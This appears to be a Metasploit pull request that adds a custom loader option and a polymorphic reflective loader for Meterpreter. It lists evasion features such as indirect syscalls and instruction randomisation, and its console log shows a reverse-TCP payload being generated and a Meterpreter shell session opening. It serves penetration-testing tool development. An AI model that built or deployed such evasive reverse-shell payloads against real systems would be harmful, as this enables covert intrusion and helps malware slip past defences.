Meterpreter Loader Improvements

[jbx81-1337]

This PR improves the Meterpreter Loader
Fixes: #21132
This pull request adds support for using a custom loader when staging the Meterpreter

• x64 (with polymorphism feature)
• x86
  Custom Loader Support:

• Added a new advanced option MeterpreterLoader::CustomLoader (boolean)

• Updated the stage_meterpreter method to check for the custom loader option and, if enabled, read and append a user-provided custom loader binary (custom_loader.x64.bin) to the Meterpreter DLL, adjusting offsets

In addition to the custom loader option, the x64 meterpreter loader now also have a Polymorphic Reflective Loader embedded into the stub. This allows to use metsrv DLLs that doesn't have any reflective loader included.

Reflective Loader Features:

• written directly in assembler
• support indirect syscall (jump to syscall addresss of the ntdll)
• randomization of the ror13 IV
• instructions randomization and block randomization using crimson-forge
• section memory protection patching

msf payload(windows/x64/meterpreter_reverse_tcp) > reload_lib -a
[*] Reloading /home/j/Documents/dev/metasploit-framework/lib/msf/core/payload/windows/x64/reflective_loader_x64.rb
[*] Reloading /home/j/Documents/dev/metasploit-framework/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb
msf payload(windows/x64/meterpreter_reverse_tcp) > generate -f exe -o ~/Public/metsrv.v2.exe
[*] Random IV: 1618680637
[*] Applying patch from 0x5b, 0xbc, 0x4a, 0x6a to 0xbb, 0xf9, 0x65, 0xe5 for KERNEL32.DLL
[*] Applying patch from 0x5d, 0x68, 0xfa, 0x3c to 0x24, 0x87, 0x52, 0x0c for NTDLL.DLL
[*] Applying patch from 0x8e, 0x4e, 0x0e, 0xec to 0x64, 0x02, 0xc0, 0xf3 for LoadLibraryA
[*] Applying patch from 0x8e, 0x4e, 0x0e, 0xec to 0x64, 0x02, 0xc0, 0xf3 for LoadLibraryA
[*] Applying patch from 0xaa, 0xfc, 0x0d, 0x7c to 0x2c, 0xf2, 0x7a, 0x68 for GetProcAddress
[*] Applying patch from 0xed, 0x4a, 0x3d, 0xd3 to 0x51, 0x5a, 0xe9, 0x3a for ZwAllocateVirtualMemory
[*] Applying patch from 0xed, 0x4a, 0x3d, 0xd3 to 0x51, 0x5a, 0xe9, 0x3a for ZwAllocateVirtualMemory
[*] Applying patch from 0x89, 0x4d, 0x3f, 0xbc to 0x7f, 0xba, 0x2b, 0x3e for ZwProtectVirtualMemory
[*] Applying patch from 0xb8, 0x0a, 0x4c, 0x53 to 0x1b, 0x1a, 0xf8, 0xba for NtFlushInstructionCache
[*] Applying patch from 0xb8, 0x0a, 0x4c, 0x53 to 0x1b, 0x1a, 0xf8, 0xba for NtFlushInstructionCache
[*] Reflective Loader GraphML fingerprint: 2436c22403aa3f3a8cc0a7ab0b669ed6
[*] Loader length: 1632 bytes
[*] DLL length: 247808 bytes
[*] ReflectiveLoader offset: 247808 bytes
[*] Configuration offset: 249440 bytes
[*] Writing 257536 bytes to ~/Public/metsrv.v2.exe...
msf payload(windows/x64/meterpreter_reverse_tcp) > [*] Meterpreter session 2 opened (192.168.1.20:4444 -> 192.168.1.20:55098) at 2026-05-14 17:01:31 +0200

msf payload(windows/x64/meterpreter_reverse_tcp) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > sysinfo

Computer        : QUICKEM-Q3RNBUJ
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter >